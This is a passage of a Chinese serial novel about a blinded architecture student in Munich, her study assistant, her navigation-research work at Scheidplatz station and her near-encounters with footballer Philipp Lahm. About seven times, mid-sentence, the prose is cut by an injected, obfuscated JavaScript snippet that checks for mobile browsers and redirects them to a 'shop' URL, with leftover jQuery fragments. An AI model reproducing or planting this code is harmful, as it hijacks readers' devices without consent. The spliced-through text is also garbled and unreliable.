他们细细密密地聊,从圣诞节前各自分开时的琐碎,聊多贝在中国的经历(省略了最痛苦的部分),莉娜在TUM信息部遭遇的“反人类”编程作业,马克斯在美术学院被教授批评“色彩过于单一以至于缺乏深度”的糗事……许多话题在越洋电话里已说过一遍,此刻在黑暗与近距离的呼吸声中重温,却丝毫不觉枯燥。 说到惊心动魄处,三个人又会抱在一起,安静地呆一会儿,不需要更多言语,拍拍背,握紧手,就是最好的安慰。说到多贝如何在盲人麻将桌上大杀四方时,莉娜和马克斯便会发出夸张的、羡慕又兴奋的“哇!!酷!!”的嚎叫,而多贝则在他们的捧场中,仰起头,发出“哦吼吼吼”的、带着小小得意的笑声。 夜色渐深,窗外的施瓦宾格陷入宁静。房间里的低语和偶尔爆发的轻笑,成了唯一的声音。那些对未来的不确定、对黑暗的些微恐惧,在这个由友情构筑的、坚实而温暖的堡垒里,被悄然驱散了。 多贝在熟悉的床铺上,听着左侧莉娜均匀的呼吸,听着地毯上马克斯偶尔的翻身窸窣。 无论未来怎样,莉娜和马克斯永远会在她身边。这是他们很小的时候,在施瓦宾格洒满阳光的草地上,就拉钩约定好的。 8. 托付与“我的荣幸” 慕尼黑工业大学,残疾人学生支持部办公室。 多贝坐在长椅上,指尖无意识地摩挲着“白骑士”的杖柄。她听着办公室里隐约传来的谈话声,心里估算着时间。支持部的老师已经提前根据她的专业需求——建筑学,需要大量图纸描述、模型协助和文献阅读——筛选出了几位合适的候选人,今天需要她亲自进行最后的面试和选择。 门开了,老师的声音传来:“Frau Wei?, der n?chste Kandidat ist da.”(魏丝女士,下一位候选人到了。) 候选人被引导进来,轻轻带上门,对面便传来了拉椅子的轻微声响,然后是一个年轻男性的声音,清晰而平稳: “Guten Tag, ich bin Thomas Krause, im dritten Jahr des Architekturstudiums, und ich bewerbe mich für die Stelle als studentische Hilfskraft.”(您好,我是托马斯·克劳泽,建筑系三年级,申请学习助理岗位。) 多贝愣住了。这个声音……温和平稳,带着一点不易察觉的柏林口音。是那个在专业课上总是坐在她斜后方,小组讨论时观点清晰却从不抢话,路上遇见会微笑着打招呼说“嗨,魏丝”的托马斯·克劳泽。 “托马斯?托马斯·克劳泽?” 她几乎是不敢置信地重复,声音里满是惊讶,“你怎么……怎么会来应聘学习助理??” 这太出乎意料了。托马斯的假期理应回柏林享受家庭时光,或者进行他自己的学术项目。 对面传来一声很轻的、似乎有些不好意思的笑声,但声音里带着一如既往的平和:“我看到了支持部发布的招募通知。虽然通知上没写名字,只说明了需要辅助的建筑系学生的情况和所需的技能——比如熟悉专业术语、能清晰描述图纸和空间关系、需要投入大量时间之类。”他顿了顿,语气里多了一丝了然,“然后,我又从鲍尔教授那里偶然听说,你因为一些……突发情况,暂时退出了他的设计工作室。把这两件事联系起来,我想,需要帮助的那个人,很可能就是你。” 他的叙述逻辑清晰,带着一种安静的观察力。“我想,比起招募一个完全不认识、需要从头磨合的陌生人,一个同专业的同学,或许能更快理解你的需求,在课业辅助上也能起更大一点作用。至少,我知道你常用的参考书是哪几本,也大概清楚鲍尔教授和苏德曼教授各自的偏重点。对吧?” 他说得很实在,没有夸张的同情,也没有华丽的承诺,只是平实地陈述着“同学”这个身份所能带来的实际便利。 多贝:“……” 她一时语塞。心里仿佛被什么东西轻轻撞了一下,有点酸,又有点胀。感动是当然的,但紧随其后的是一种近乎滑稽的震撼。哇哦,她在心里嘀咕,平时只知道托马斯脾气好、性格温柔,是个可靠的同学。没想到这家伙身上散发出的“圣光”浓度这么高,简直快对我造成二次伤害了,差点又瞎一次。 感动归感动,她的理智依然占据上风,“托马斯,”她开口,带着真诚的感激,但也直指现实问题,“谢谢,真的……我非常感动。但是,成为我的助理,意味着这个寒假,你至少有一大半时间要耗在慕尼黑,耗在陪我适应、帮我补课这件事上。如果我没记错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326727|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你是柏林人。我不想因为我的事,耽搁你和家人们难得的假期团聚。这太不公平了。” 她把潜在的问题摊开来说。接受帮助是一回事,但她不想成为别人家庭生活的负担,尤其是对于托马斯这样并非挚友、只是关系不错的同学而言。 托马斯的回答没有丝毫犹豫,声音依然温吞柔和,却透着一种已经深思熟虑过的确定感:“没关系。我已经和我的父母商量过了,他们完全支持我。” “而且,”他慢吞吞补充道,“我本来也打算假期留在慕尼黑,我的教授最近有个项目,我很想加入。” 他把家人的支持和自己的考虑说得如此自然,彻底打消了多贝的顾虑。这份周全,再次让多贝感受到了托马斯那份藏在温和外表下的、远超同龄人的成熟与可靠。 短暂的沉默在两人之间弥漫。支持部的老师没有插话,只是安静地记录着。 专业对口、彼此熟悉、为人可靠、家庭支持——托马斯几乎是最理想的人选,甚至超出了她的预期。 终于,她深吸了一口气,朝着托马斯声音的方向,郑重地、清晰地说道: “… Dann würde ich mich in den n?chsten Monaten sehr in deine Obhut begeben, Thomas.”(……那么,之后很长一段时间,就要多多麻烦你、托付给你了,托马斯。) 多贝听见一点布料摩擦的声音,对面的托马斯似乎微微坐直了身体。他的声音里带着一丝笑意,如同冬日下午穿透玻璃窗的阳光: “Es ist mir eine Ehre.”(这是我的荣幸。) 9. 翻译官 多贝的心跳得有些快,“白骑士”被紧紧握在手里,她缓缓吐出一口气,然后敲响了身前的门。 “请进。” 门在身后轻轻合上,将父母的鼓励隔绝在外。室内的空气似乎更凝练一些,混合着旧书、咖啡和一丝她辨不出来的木质调香气。多贝能感觉到这是一个宽敞的空间,声音略有回荡,右侧隐约有大型窗户透入的光热感。 “魏丝小姐,请坐。” 格吕恩教授的声音从正前方稍远处传来,温和厚重,“你右手边大约两步,有一把扶手椅。” “谢谢您,教授。” 多贝用盲杖轻点,准确找到椅子,坐下,将盲杖靠在腿边。背脊挺直,双手交叠放在膝上。 短暂的沉默,并非尴尬,更像是一种审视前的凝神。 “首先,” 格吕恩教授开口,语速平稳,“请允许我表达我个人,以及代表团队,对你所遭遇不幸的最深切的遗憾。鲍尔教授向我详细说明了情况,这是一场残酷的意外。” 她的声音里有关切,但没有任何泛滥的同情,只是在陈述一个已然发生的事实。 “谢谢您,教授。” 多贝轻声回应。 “不过,” 格吕恩教授话锋微转,语气里注入了一种清晰的锐利,“在你发来的邮件中,那份关于你在康复期间对所处环境导盲系统的观察记录,让我印象深刻,甚至可以说,是惊喜。” 多贝的心轻轻提了起来。 “不仅仅是抱怨或感受,你用建筑学的语言,翻译了身体的困惑。这非常专业,魏丝小姐。”教授顿了顿,继续道,“即使身处个人困境,你依然保有这种专业视角,这很难得。” 多贝感到脸颊微热,但不是羞赧,而是某种被“看到”、被专业领域认可的价值感,哪怕此刻她已无法用视觉去接收对方认可的眼神。 “所以,” 格吕恩教授的声音压低了一些,形成了一个更具张力的、私密对话的空间,“在我正式邀请你加入SP之前,我有一个问题,想听听你的真实想法” 多贝屏息凝神。 “你想做这个研究,设计未来的导航系统,” 格吕恩教授一字一句,每个音节都沉甸甸的,“究竟是为了你自己——为了寻找一条让你个人能更顺畅通行的路径;还是为了‘所有人’——为了可能需要这套系统的视障群体?” 多贝张了张嘴,什么也没说出来,她没想过要区分这个。为了自己?当然,她比任何人都更迫切地需要一条“出路”。为了所有人?是的,她的记录始于自身痛苦,但很快便意识到这痛苦绝非独有。 “我问这个是因为,”教授顿了顿,“如果你是为了前者,那么你会是很好的测试员。你的数据很珍贵,我们会好好利用。但如果你是为了后者——” 格吕恩教授笑了一声。 “那就意味着,”她的声音变得轻慢,“当你复明后,你仍然会坐在这里。那时驱动你的,将不再是你的痛苦。你确定即便没有它,你也能继续走下去吗?” 多贝没有立刻回答。她垂下头。办公室安静极了,只有远处隐约的校园钟声。 几秒钟后,她抬起头,声音不高,却异常清晰: “格吕恩教授,” “就我个人而言……这是一场无论如何我都必须进行的战斗。每一天都是。” “如果只是为了我自己,” 多贝继续说,“我应该去学习使用最先进的导盲设备,或者等待一次成功的移植。如果只是为了一个抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326728|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象的‘所有人’……”她带着点自嘲,“那听起来太像什么口号了,对吧?” 格吕恩教授几不可闻地“嗯”了一声,继续听着。 “我…我也不知道我算什么,体验者?我每天都在用身体撞墙;设计者?我现在连图纸都看不见。我只是…卡在在中间——一个不得不去理解这些障碍为什么存在的位置。” 她向前微微倾身,语速变快了一点,“我想理解,那些让我停下的、让我害怕的障碍,到底是哪里出了问题?是逻辑故障?还是参数错误?反过来,对于那些算法、数据,当它们落在真实空间里,到底让使用者更安心还是更恐慌?” “这让‘中间’这个位置变得刚刚好,不是吗?我既能听懂志愿者的‘害怕’,也能理解团队需要的‘数据’。” “像个翻译官。” 她停下来,忽然笑了,“说实话,我现在连‘复明之后’都不敢想得太具体。那种事…想太多会发疯的。我不确定我会做到什么地步,但总得试试,对吧?” 多贝的声音越来越稳:“我只能想明天、后天、下个星期的事。关于未来——我无法承诺。但…明天、明天的明天、很多个明天,我一定会来。” 话音落下,办公室里一片寂静。 几秒钟后,格吕恩教授那里传来一声极轻的、仿佛释然又赞赏的叹息,接着是椅子移动的声音。她站了起来,脚步声平稳地靠近。 然后,多贝感觉到一只温暖、干燥、有着学者般清晰骨节的手,轻轻握了握她放在膝上的手,充满了力度与认可。 “欢迎加入,多纳贝德,” 格吕恩教授的声音近在咫尺,带着前所未有的温度与确凿,“我们的‘翻译官’小姐。” 10. 笔记之神 在托马斯·克劳泽的协助下,多贝落下的课程被一点点补上。时间确实紧迫,一个多月后的期末考试像地平线上清晰可见的、不断迫近的 Deadline 怪兽。她不止一次地庆幸自己过去在图书馆熬过的夜晚。那些画过的草图、整理过的笔记,此刻还都在脑子里。至少,她不需要在一片狼藉的废墟上“女娲补天”——这个突然冒出的、带着中文思维的比喻让她自己都愣了下,随即在托马斯疑惑的“什么?”的询问中,笑着摇头带过。 最大的挑战,是学习方式的彻底颠覆。她必须习惯失去的视力,转而依靠耳朵和想象力。托马斯的声音成为她构建一切空间与形态的支点。他描述一张平面图上的轴线、开间、标注,她在脑海中同步勾画;他解说一个复杂的结构节点三维示意图,她就得调动所有知识储备,努力拼凑出那些梁、柱、板的咬合关系。 幸好,托马斯是她的同学。这省去了无数磨合与解释的麻烦。他知道图纸哪里藏着“陷阱”,也明白哪些专业术语需要重点强调,哪些可以一语带过。 直到那天,托马斯将一个小小的U盘推到她手边。 “这是什么?”多贝摸索着拿起。 “你缺的那些必修课的录音。”托马斯的声音听起来一如既往的平静,仿佛在说一件微不足道的小事,“我根据课程大纲和重点,整理了一下录音,分门别类存好了。文件名就是章节和主题,你用读屏软件应该能顺利找到。” 多贝愣住了。手指捏着那个冰凉的金属U盘,他什么时候录的?录了多少遍?花了多少时间?这已经远远超出了一份“助理工作”的要求。 “天呐,托马斯!” 多贝几乎是扑过去抱住了托马斯,声音带着难以置信的哽咽,“你……我……我爱你托马斯!真的!你就是天使!是笔记之神!是救我命的大好人!” 她语无伦次,把能想到的所有赞美和感谢都混在一起,只想表达那份要满溢出来的感动。 “不客气,不客气。”托马斯似乎低低地笑了一声,那笑声有点不好意思,还带着点被她的夸张反应逗乐的无奈,他回应道,“不过,‘笔记之神’这个头衔我收下了,挺酷的。” 随着相处时间增加,多贝原本因感激而略带拘谨的心态,也渐渐放松下来。她敏锐地捕捉到托马斯温和可靠的表象下,还藏着一点……活泼的、属于年轻人的促狭属性。 比如现在,在她感激涕零之后,托马斯那平稳的声线再次响起,内容却瞬间将她拉回现实: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326729|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可惜,即便我荣获‘笔记之神’称号,也无法动用神力直接减少你欠下的课程总量。”他顿了顿,语气里带着一种假装严肃、实则戏谑的遗憾,“所以,尊敬的魏丝小姐,根据进度表显示,你今天还有58张关于砖混结构建筑构造的细部大样图需要‘听’完。我们是从外墙勒脚防潮层开始,还是直接从屋顶檐口排水构造开始?” 多贝上一秒还沉浸在感动中,下一秒就被这庞大的任务量砸得眼前一黑(尽管本来就黑)。她发出一声痛苦的、拖长音的哀嚎:“哦不……”,但她哀嚎完,还是认命地抬起了头,对着托马斯声音的方向:“…Fang an.”(……开始吧。) “效率至上。”托马斯的声音里笑意更明显了,手下已经传来了翻阅图纸的细微声响,“来吧,勒脚防潮层。注意听,这里涉及到三种不同标高处的地下水位应对措施……” 多贝一边痛苦地消化着海量的信息,跟随他的描述在脑海中艰难地垒砌虚拟的砖墙和防水层,一边想着:也许,等这阵兵荒马乱过去,可以介绍托马斯给莉娜和马克斯认识。他们肯定会拿“笔记之神”这个称呼来笑他。想到那个画面,她偷偷笑了一下,然后赶紧收住,因为托马斯已经开始讲下一张图了。 11. 培训、翻译官进场 当密集的补课节奏在托马斯的协助下逐渐形成一种苦涩但稳定的规律时,多贝生活的另一条轨道也在全速铺设——在TUM那栋极具未来感的翼楼,在格吕恩教授的工作室。 多贝第一次走进那里的时候,感觉自己好像踏入了另一个维度。 建筑系里常年弥漫着石膏粉和胶水的味道,混合着熬夜学生的咖啡味。但这里——多贝吸了吸鼻子— 激光切割机工作后留下的焦糊味,3D打印光敏树脂固化后特有的甜腻的气息。还有她分辨不出来的来自各种电子设备的低微嗡鸣,以及不同专业背景人员快速、低沉的讨论声。 “魏丝小姐?”一个年轻的声音从前侧方传来,“格吕恩教授很早就向我们提过你,大家都很期待你的加入。来吧,我带您过去。哦!小心,地上有电缆。” 她的盲杖被人轻轻提起,跟随着传过来的指引,她进入工作室的深处,最后停留在一把椅子前。坐下后,多贝才发现手心已经出汗了,她悄悄在裤子上蹭了蹭。 第一次培训,是格吕恩教授带的博士生,也是项目的数据分析师之一。 “你好,魏丝。我是卡林。”年轻的女声笑了笑,“不必紧张,准备好了吗?我们要开始了。” 多贝听见她在对面坐下,翻开什么东西,“根据第一轮志愿者测试的数据汇总显示,问题簇群主要集中在……” 多贝的脑子快速运转,Scheidplatz车站的地图在脑海里随着卡林的讲解一块块点亮,在此之前,团队为她提供了触觉地图,她已经用手指“看过”并记住整个车站的布局。 “…超高频问题编码,‘导向路径不连续’、‘关键节点警示模糊’…”她停下来,“你怎么看,魏丝小姐?” 多贝觉得自己的手心又出汗了,“…我认为,针对‘不连续’等问题,我需要验证是引导路径物理中断还是信息在此处出现逻辑断层……然后根据……” 她说完,沉默短暂地降临在这片空间,多贝揪住自己的衣角,手指蜷起。 直到卡林的带着笑意的声音打破这片沉默,“说得没错,多贝!这正是我们下一轮测试的重点,也是你的首要目标!” 她换了更亲近的称呼。多贝垂下眼睛,手指逐渐松开。 第二阶段培训,来的是负责硬件的工程师。 没有寒暄,那个人拉过一把椅子坐在她旁边,直接拿起她的手放在一个冰凉的、长方形的东西上——一台特制平板。 “这是开机键。这里是音量键。这是‘记录’的快捷键,遇到数据报告中没有提到的问题,按下去,它会自动回朔前30秒内传感器的数据……你需要记住它们的位置,即便盲操也不会干扰实验进度。” 工程师的声音平静的像念说说明书,她的手引导着多贝,在平板边缘滑过每一个按键,让多贝感知那里轻微的凸起和阻力。 平板突然在她手里震动起来,长震,短震,不同的时间和次数。 “这是什么意思?”多贝困惑地问。 “是提醒你前方出现志愿者标记的问题节点。长震是方向,短震是距离。正式测试时我们会提醒你点位,但你必须记住问题地图,确认你的下一个目标到底是什么。” 多贝不再说话,感受着那些长短不一的震动一下下传入掌心。 椅子在地上刮出一道刺耳的响,工程师站起来。 “你自己练,三天后我检查。”她停顿了一下,声音里第一次带了点不一样的温度,“加油,魏丝小姐。” 脚步声远去。 而多贝还在回忆那张还不甚清晰的问题地图。 第三阶段,是格吕恩教授主持的团队会议。 多贝坐在会议桌的一角,面前只有那台平板静静地躺在手边。周围的人声很密集——语速飞快,夹杂着术语和缩写。有人在汇报数据,有人在争论算法,有人敲击键盘的声音快得像雨点。 “魏丝小姐。”格吕恩教授的声音越过那些讨论落在她身上,“假设在C号楼梯处,扶手在某一特定段落给您‘突然不对’或者‘失去信任’的感觉。您抵达现场后,第一优先级的检查步骤是什么?” 多贝愣住了,这是几周来第一次被点名。第一次,需要在这些专业人士面前说话。 她感到那些视线——那些她看不见的、来自数据分析师、工程师、项目协调员、还有那些她不知道名字的人的目光——全部落在她身上。 沉默。两秒。三秒。 她开口:“首先……” 声音有点紧。她清了清嗓子,重新开始: “首先,我会反复确认该段扶手的连续性、高度一致性、表面材质和温度是否与前后段落存在突变,其次,我需要确认该处楼梯精确的转角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326730|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数据……” 没有人打断她,她的声音越发平稳。 “最后,我需要观察员记录我在此处的肢体语言和路径偏移…” 话音落下,会议室安静了两秒。 然后有人开口,不是格吕恩教授,是另一个她没听过的声音:“…是的,主观体验和客观数据…这很有意思,我们此前的测试正缺少这个。” 然后另一个声音响起,又一个声音接上去,没有人对她说“很好”或“不错”,但她的回答被讨论、补充、质疑。 多贝嘴角翘起一个小小的弧度。 最后一次培训,是项目协调员主持的安全简报。 那个声音一开口,多贝就知道他是干什么的——每一个字都规整得像被量过尺寸。 “Sie sind unser fokussiertes Sensorium, aber Sie sind nicht allein.”(您是我们聚焦的感知中枢,但您并非孤身一人。) 多贝没有点头,只是安静地听着。 “团队会在场,但是隐形的。”协调员继续说,“技术支援点在闸机口和楼梯口,工程师隐蔽值守,盯着您的终端数据。观察员会扮成普通乘客在您周围,记录您看不见的动态风险——人流、清洁车,以及路人反应对您的测试的‘干扰’。” “一名安全哨位永远在您侧后方。他不介入您测试流程,但随时能启动保障您的安全。” 多贝忍不住问:“我怎么知道他在哪儿?” “您不需要知道。”协调员的声音没有任何起伏,“您只需要忘记我们的存在。您的耳机接入加密频道。您只进行单向口述记录,但频道始终保持开放。只有在必要时,您才会收到指令。” 他停了一下。 “您要同时对空间极度敏感,而对我们的存在极度迟钝。这是对你专注力的考验。这有些困难,但您得做到。” 多贝没有说话。 她在心里重复:敏感,钝感。 她不知道自己做不做得到,但她会试。 培训结束的那天,多贝一个人坐在会议室的角落,周围没有人——周会结束了。 格吕恩教授说的最后一句还停留在空气里——不是对她说的,是对所有人说的: “我们的‘翻译官’下周进场。” 12. 第一步 慕尼黑,三月的最后一周。 Scheidplatz站,U2、U3与U8的交汇点,日均客流量巨大。对于测试视障人士通行辅助系统而言,这里是压力测试场,也是数据富矿。 清晨的通勤高峰已如潮水般退去,但站台上仍残留着人潮裹挟后的温热与匆忙的余韵。空气里有咖啡、羊毛外套以及金属轨道摩擦后产生的、淡淡的烧焦气味。 多贝站在Scheidplatz站入口层预设的起点位置。周围是来往人群模糊的脚步声、以及广播里间歇响起的德语播报。对她而言,这些声音构成了此刻空间的基底。 但她并非孤身一人。在她感知不到的位置,团队成员已经就位,他们是隐形的,却又通过耳麦编织成一张的网,她则是这张网的中心。 手指最后一次确认过特制平板的按键位置。贴在身侧的荧光绿独眼怪背包——她管它叫拉克西姆——随着她的呼吸微微起伏。她希望这只“有大学文凭的聪明怪”,真的能成为她在黑暗中的“第三只眼”。 耳机里传来协调员的声音,是那位前军方官员特有的规整和稳定: “第一阶段:现状诊断。重点勘探区:地面入口层至站台层的过渡区、主要连接通道、岔路口节点。所有地下单元已就位。系统绿灯。魏丝,您准备好即可开始。完毕。” 多贝没有立刻回答。 她不知道自己需要等待多久才能迎来那枚可能让她重见光明的角膜。也许几个月,也许更久。失明是灾难,但在此刻,也成了她工作的“实验条件”。 “呼——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326731|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她深吸一口气,试图将胸腔里的紧张压下去。 她抬起手,指尖在平板侧面的特定凹陷处用力一按。 “记录开始。第一阶段,簇群A区域。魏丝,在现场。团队状态已确认。” 她的声音通过耳麦清晰地录入系统,冷静,平稳。 然后,她握紧了盲杖,杖尖轻触地面。 迈出了第一步。 周围隐匿的团队成员,呼吸似乎也同步屏息了一瞬。 她走进车站,也走进那张她看不见、但被托举着的网。 Scheidplatz站庞杂的声景、流动的人潮、错综的路径,此刻都成了等待被“阅读”和“诊断”的文本。 而多纳贝德·魏丝,正以最独特的方式,开始她的“阅读”。 13. Verdammt和好心人 “Verdammt!(该死!) 多贝略带烦躁地、几乎是有些粗暴地拽了拽她的白骑士。不出所料,杖头又一次死死卡在了站台地面嵌入式金属导向条的接缝里。这里是Scheidplatz站U2与U3的换乘通道,那些凸起的候车线与导向条之间的细小缝隙,简直是橡胶杖头的克星。这也是志愿者反馈最集中的问题点之一。这是她今天第十二次走这段路,而她的白骑士已经第四次在这里“阵亡”了。 她忍不住低咒一声,叉着腰叹了口气。空着的手沿着杖身向下摸索,身体也慢慢弯下去,准备亲自解救她的骑士。 “Entschuldigung(打扰一下),请您别动。它卡住了,让我来。”一个平稳的年轻男声从侧前方传来。多贝感觉到盲杖被一股温和而坚定的力量握住,随即一松。 “哦,太感谢了!您真是帮了大忙了!”她瞬间切换回轻快的语调,朝声音主人的大概的方向露出笑容,“我今天可被它折磨得够呛!” “不客气,请拿好。您是要换乘U3吗?我可以带您过去。”那声音答道,依旧平稳,没什么多余的起伏。 “哦不不不,不必麻烦您,再次感谢!”多贝连忙摆手,“我……我可能还得在这里再待一会儿。”她不好意思的笑笑,语气礼貌而坚决地婉拒对方带路的意图,没有解释“这是工作”的想法。一天里会遇到好几个这样的好心路人,她早已习惯。 “那好吧。祝您今天一切顺利。” “您也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326732|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,好心的先生!” 菲利普?拉姆登上U3列车,关门前的瞬间,他下意识地回头望了一眼。那个女孩并没有随人流上车。她正缓慢地、摸索着往回走了几步,然后再次停下——她的盲杖又卡在了同一个地方。只见她熟练地弯腰,凭触感解救了它。接着,她从那夸张的荧光绿怪物背包里,掏出一个看起来相当厚重的平板。 那人的声音隐约传来:“……第四十三次记录……金属接缝……勾挂与卡阻风险……”,列车启动,车轮的轰鸣盖住了杂音。 听起来大概又是什么测试,Scheidplatz通常是这类测试的首选,一年里能遇见好几次。 他收回目光。 列车加速,声音和景象都远去了。 14. 碰撞 周三下午六点过五分,Scheidplatz 站台的换乘人流达到了晚高峰前的第一个峰值。多贝挎着她的 “雅恩”,继续在U2与U3之间的站台上进行着她的基础层测试。 她刚刚用盲杖确认了一段导向条的终点,正准备在平板上记录数据。突然,一股急促的气流从她身侧掠过,紧接着,“雅恩” 传来一阵轻微的、被外力撞到的晃动,连带让她的身体也轻轻一晃。 “哎呀!” 她下意识地轻声惊呼,但立刻稳住了重心。 “Entschuldigung.(抱歉。)” 一个年轻的男声扔下一句简短的道歉,脚步声没有丝毫停顿,迅速汇入了前方嘈杂的人流,远去了。 多贝眨了眨看不见的眼睛,伸手安抚性地拍了拍 “雅恩” 毛茸茸的脑袋。“Keine Angst, Jann.(别怕,雅恩。)” 她对着背包低声说,嘴角却带着点无奈的、自我解嘲的笑意,“只是个小意外。对那些赶时间的人,我们得宽容点。” 对她而言,这只是穿梭人海中一次微小的、几乎算不得碰撞的接触。在城市交通枢纽站做测试,被行色匆匆的路人轻微擦碰,简直是家常便饭。 她的注意力很快回到平板电脑的记录和即将进行的下一条路径测试上。雅恩替她承担了这次小小的“撞击”,而她,还有更重要的工作。 ——— 周三下午,训练结束的拉姆快步走进 Scheidplatz 车站。他脑子里还回放着训练赛中几个需要改进的传球选择,脚步不自觉地比平时更快一些。他想赶上这趟即将进站的 U3早点回家,他不想把时间浪费在等下一班车上。 U2/U3 的换乘平台上人流如织。他敏捷地侧身越过几个步速缓慢的行人。就在他几乎是跑着穿过站台中央区域时,肩膀上的运动包 “咚” 地一声,轻轻蹭在了一个颜色极其扎眼的亮蓝紫色的背包上。那背包造型怪异,像个长毛的卡通怪物。 “Entschuldigung ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326733|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .(抱歉。)” 他条件反射般地丢出一句道歉,脚步没有丝毫停滞。他的全部焦点都在前方那辆已经停稳、正在上客的U3列车上。他熟练地侧身让开人流,在车门即将关闭的提示音响起前跨入了车厢。 找到靠边的位置站定,随着列车启动,窗外站台的灯光流线般向后滑去,他紧绷的神经才稍微放松。刚才那个小小的碰撞这时才后知后觉地跳回脑海。 “刚刚那个包……最近好像见过类似的?” 他漫不经心地想着,“现在街上背这种醒目玩意儿的人好像变多了。” 他的手指无意识地搭在自己肩上那个除了拜仁队徽别无装饰的黑色运动背包上。实用、不显眼、能装下所有东西,这就够了。“这是什么流行?” 他这么想着,然后便将这个念头抛之脑后。下一刻,他的思绪已经飘向了晚餐后需要看的比赛录像——教练指出他上周在防守选位上还有两处可以优化。 对他而言,这只是一天结束前,归家路上一个被迅速遗忘的微小摩擦。 15. 向量 如果镜头能够拉高,以俯瞰的视角凝视慕尼黑这座城市,菲利普·拉姆和多纳贝德·魏丝的生活轨迹,清晰得如同两条被精密规划过的向量。 他的箭头坚定地指向塞贝纳大街的训练中心与盖恩的住所之间,两点一线。而她的箭头,则在慕尼黑工业大学、格吕恩教授的研究室与Scheidplatz之间散射开来。 按照任何理性的剧本,这两条方向不同的向量,绝无产生交集的可能。 但命运——如果真有这种东西——大概是最不讲究逻辑的编剧。 菲利普·拉姆第一次注意到那个背包,是在四月初。 一个荧光绿色的、带着眼镜的夸张独眼的怪物,他帮它的主人取出了卡住的盲杖。他没往心里去。但很快他发现,这种背包和它们的主人出现的频率有点高——每周一早晨,以及周二、周三的下午,它,或者说她和它总会准时出现在Scheidplatz站。 有一次周四早上,他又意外地看见了她,行色匆匆,背着一个看起来下一秒就要爆发的红色火山怪物,拉链没有拉好,半条围巾从怪物的嘴里吐了出来。她一边走一边套那件荧光条背心,嘴里嘀咕着什么,他勉强捕捉到“上课”、“迟到”几个词,听起来像是赶时间。 不是刻意关注,只是那些荧光色怪物在慕尼黑阴晴不定的天气里实在难以忽略,只要见过就很难忘记。 